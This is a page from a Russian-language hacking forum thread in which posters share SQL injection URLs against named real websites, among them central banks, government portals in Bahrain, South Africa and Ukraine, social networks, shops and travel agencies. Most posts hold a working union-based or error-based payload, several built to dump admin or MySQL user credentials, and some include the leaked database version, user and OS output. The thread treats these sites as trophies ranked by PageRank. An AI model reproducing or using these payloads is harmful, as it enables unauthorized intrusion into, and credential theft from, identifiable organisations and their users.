SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Bank of Bahrain [Bahrain Monetary Agency]

    Code:
    http://www.bma.gov.bh/page.php?p=-industry_newsletters'+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6+order+by+'1'='1
    -----
    Ver: 5.1.47-community
    db: cbb
    usr: cbb@localhost
     
    6 people like this.
  2. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    Раз пошли на такое, то...

    North American Jewish Data Bank

    http://www.jewishdatabank.org/study.asp?sid=18092+and+1=(select+top+1+table_name+from+information_schema.tables)



    PR-7
     
    _________________________
    #12682 Konqi, 19 Aug 2010
    Last edited: 19 Aug 2010
    5 people like this.
  3. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    ну раз так, то продолжаем )

    Bank of Belize

    Code:
    http://www.centralbank.org.bz/dms20uc/dm_browse.asp?pid=convert(int,(select db_name()))
    
     
    2 people like this.
  4. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.northcott.com.au/news.php?id=-109;select+cast(username||chr(58)||password%20as%20int),null,null,null,null,null,null,null+from+sites+limit+1+offset+1

    http://www.railwayminsk.by/news.php?id=-248+union+select+1,2,group_concat(login,char(58),passw),4+from+admins

    http://www.peggyyihmd.com/news.php?id=-7+union+select+1,2,group_concat(user,char(58),password),4,5,6+from+mysql.user

    http://runoffandrestructuring.com/news.php?id=432+and+1=9+/*!UnIoN+SeLeCt*/+1,group_concat(table_name),3+from+information_schema.%60tables%60+where+table_schema=database()

    http://www.step-initiative.org/news.php?id=-0000000063+union+select+1,2,3,4,group_concat(username,char(58),password),6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+step_users
     
    _________________________
    #12684 Konqi, 19 Aug 2010
    Last edited: 19 Aug 2010
    1 person likes this.
  5. bast3n

    bast3n Member

    Joined:
    5 Jul 2010
    Messages:
    11
    Likes Received:
    11
    Reputations:
    6
    PR 2
    Code:
    http://www.egmemory.com/product.php?id=-111+union+select+1,concat_ws(0x2b,version(),user(),@@version_compile_os)+--+
    5.0.90 egmemory@localhost portbld-freebsd8.0
    PR 5
    Code:
    http://www.schlup.net/usb/devices/showdescr.php?id=-4194+UnIon+SeLeCT+concat_ws(0x2b,version(),user(),@@version_compile_os),2,3,4,5+--+
    5.1.31+nobody@localhost+pc-linux-gnu
     
    1 person likes this.
  6. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    ТИЦ 20

    ТИЦ 10 PR 4


    PR 2

    PR 3

    PR 3

    PR 6
     
    #12686 -PRIVAT-, 19 Aug 2010
    Last edited: 19 Aug 2010
    4 people like this.
  7. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://cloudytags.com/index.php?idlink=-1+UNION+SELECT+1,%20concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18&Section=linkdetails
    70к юзеров

    продолжаем бомбить забугорные соц-сети =)


    Code:
    http://elanforum.com/search.php?search=advice&tag=true&from=1+or+%28select+count%28*%29+from+%28select+1+union+select+2+union+select+3+union+select+4+union+select+5%29x+group+by+concat%28user%28%29,floor%28rand%280%29*2%29%29%29+--+
    еще соц-сеть забугорная
     
    #12687 Lilo, 19 Aug 2010
    Last edited: 19 Aug 2010
    4 people like this.
  8. shuba

    shuba Elder - Старейшина

    Joined:
    22 May 2009
    Messages:
    592
    Likes Received:
    128
    Reputations:
    52
    Code:
    http://www.thepalladiumdubai.com/events-details.php?id=-48+union+select+1,2,3,4,5,6,concat_ws%280x3a,user_login,user_pass,user_email%29,8,9,10,11,12,13,14,15,16,17,18,19,20+from+pm_users--+
     
  9. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://invest-market.kz/deposit/bank.php?id=-null+union+select+concat_ws(0x3a,version(),user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    Code:
    http://www.apsira.com/loans/bank.php?bankId=-null+union+select+2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12--
    какие-то банки :rolleyes:


    Code:
    http://www.gabbr.com/treadhottopic.php?id=-13298+union+select+version()&topicTitle=Angelina&topicQuestion=Salt
    соц-сеть,с кармадрочерами.
    конки помог=*
     
    #12689 Lilo, 19 Aug 2010
    Last edited: 20 Aug 2010
    1 person likes this.
  10. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    создание и продвижение интернет-сайтов
    ARTCREDO

    http://www.artcredo.ru/article.php?id=-9+and+1=2+union+select+1,concat_ws(char(58),@@version,user(),database(),@@version_compile_os),3,4+--

    version : 4.1.20-log
    user : itbrains@localhost
    database : itbrains
    os : pc-linux-gnu
     
  11. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://www.antiddos.biz/index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users--
    :rolleyes:
     
    3 people like this.
  12. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    х.з. можно ли выкладывать полностью расскуренную скуль, ну рискну

    тИЦ — 50
    PR — 2

    Code:
    http://www.vip-tur.ru/?page=country&id=-49+union+select+1,concat_ws%280x3a,Login,pwd%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+from+linksviptur_admin--+
     
    #12692 Kusto, 20 Aug 2010
    Last edited: 20 Aug 2010
    2 people like this.
  13. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    http://www.ibiblio.org/mpact/mpact.php?op=show_graph&id=7967+union+select+1,2,3,concat_ws(0x3a,user(),version(),database(),username,password),5,6+from+users--

    http://www.ils.unc.edu/mpact/mpact.php?op=show_graph&id=7967+union+select+1,2,3,user(),5,6--
     
    3 people like this.
  14. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.ecprov.gov.za PR-7

    http://www.ecprov.gov.za/index.php?module=documents&category=-3+union+select+1,concat(user,char(58),password),3+from+mysql.user--

    user() : root

    file_priv = Y

    http://www.ecprov.gov.za/index.php?module=documents&category=-3+union+select+1,group_concat(username,char(58),password),3+from+mod_users--

    http://www.ecprov.gov.za/tools/
     
    _________________________
    2 people like this.
  15. Дирижабль

    Дирижабль [ ✯✯✯ Ядерный Суицид ✯✯✯ ]

    Joined:
    6 Jan 2010
    Messages:
    369
    Likes Received:
    346
    Reputations:
    292
    Code:
    http://www.stylussofas.com/stylegallery.php?categoryid=-1'+union+select+1,concat(version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15+order+by+'1'='1
    шоп.
    Code:
    http://www.kimallansilk.com/productdetail.php?proid=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11--
     
    1 person likes this.
  16. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    продолжим по турагенствам
    тИЦ — 20
    PR — 3
    Code:
    http://www.ugtour.ru/?query=menu&i=1&s=-274+union+select+1,2,3,user(),5+--+
    ugtour@localhost
     
    1 person likes this.
  17. bafoed

    bafoed Member

    Joined:
    14 Jul 2009
    Messages:
    88
    Likes Received:
    12
    Reputations:
    10
    Яндекс тИЦ 10
    Google PageRank 2/10

    --------------------------------------------------------

    Google PageRank 1/10
    админка:


    ----------------------------------------------------

    Какой-то шоп, не раскрутить:
     
    #12697 bafoed, 20 Aug 2010
    Last edited by a moderator: 20 Aug 2010
  18. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    продолжим :D

    тИЦ — 120
    PR — 4

    Code:
    http://www.vsktour.ru/index.php?pageid=-3+union+select+user()+--+
    [email protected]
     
  19. Lilo

    Lilo Banned

    Joined:
    10 Mar 2009
    Messages:
    462
    Likes Received:
    784
    Reputations:
    313
    Code:
    http://www.railtrail.co.uk/tour.php?id=-91+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65--
    замучился подбирать =(

    4.1.20:site:siteadmin@localhost:redhat-linux-gnu

    PR -3
     
    #12699 Lilo, 20 Aug 2010
    Last edited: 20 Aug 2010
    2 people like this.
  20. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.dzz.gov.ua

    http://www.dzz.gov.ua/CPOSI/style/page_2/templer_page2_ua.php?id=-2+union+select+1,2,version(),4,5,6,7,8+from+information_schema.tables&table=info

    да и не хотел ломать далше...
     
    _________________________
Thread Status:
Not open for further replies.